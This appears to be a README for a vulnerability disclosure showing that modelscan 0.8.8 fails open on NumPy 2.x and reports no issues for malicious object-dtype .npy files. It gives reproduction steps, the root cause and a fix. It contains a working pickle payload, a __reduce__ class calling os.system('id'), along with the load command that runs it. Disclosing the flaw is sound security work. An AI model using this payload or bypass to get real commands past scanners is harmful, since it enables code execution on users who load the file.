PoC: NumpyUnsafeOpScan Crash on NumPy 2.x (modelscan v0.8.8)
This repository contains a proof-of-concept model file demonstrating a security vulnerability in modelscan v0.8.8.
Vulnerability
NumpyUnsafeOpScan calls numpy.lib.format._check_version(), a private API removed in NumPy 2.0. When modelscan runs on any system with NumPy ≥ 2.0 (current stable), the scanner crashes with AttributeError for every .npy file containing object-dtype arrays. The error is silently swallowed and the scan returns "No issues found" — even when the file contains payloads using CRITICAL-blocked modules like os.system.
- Affected: modelscan 0.8.8 + NumPy ≥ 2.0.0
- Root cause:
modelscan/tools/picklescanner.py, line 231:np.lib.format._check_version(version) - Severity: CRITICAL (scanner fails open; blocked payloads bypass detection)
Reproduction Steps
1. Setup
pip install modelscan numpy # installs numpy 2.x by default
2. Verify environment
python -c "import numpy; print(numpy.__version__)" # should be >= 2.0
3. Scan the PoC model
modelscan -p model.npy
Expected output (modelscan SHOULD flag this):
CRITICAL: Unsafe operator found: os.system
Actual output:
Error encountered from scanner modelscan.scanners.NumpyUnsafeOpScan:
module 'numpy.lib.format' has no attribute '_check_version'
--- Summary ---
No issues found! 🎉
4. Confirm payload executes (victim loads the model)
python -c "import numpy as np; np.load('model.npy', allow_pickle=True)"
# → runs os.system("id") → prints uid=1000(...)
Root Cause
# modelscan/tools/picklescanner.py, line 229-232
elif magic == np.lib.format.MAGIC_PREFIX:
version = np.lib.format.read_magic(stream)
np.lib.format._check_version(version) # ← REMOVED in NumPy 2.0
_, _, dtype = np.lib.format._read_array_header(stream, version) # ← also gone
Both _check_version and _read_array_header are private APIs removed in NumPy 2.0. The resulting AttributeError is caught by an outer except Exception handler that logs the error but returns no scan results — causing a fail-open behavior.
Fix
Remove the call to np.lib.format._check_version() and replace _read_array_header with the public API, or catch AttributeError and fail closed (return UNSAFE).
Payload inside model.npy
import numpy as np, pickle, os
class OsSystemRCE:
def __reduce__(self):
return (os.system, ("id",)) # os.system IS in CRITICAL blocklist
arr = np.array([OsSystemRCE()], dtype=object)
np.save("model.npy", arr)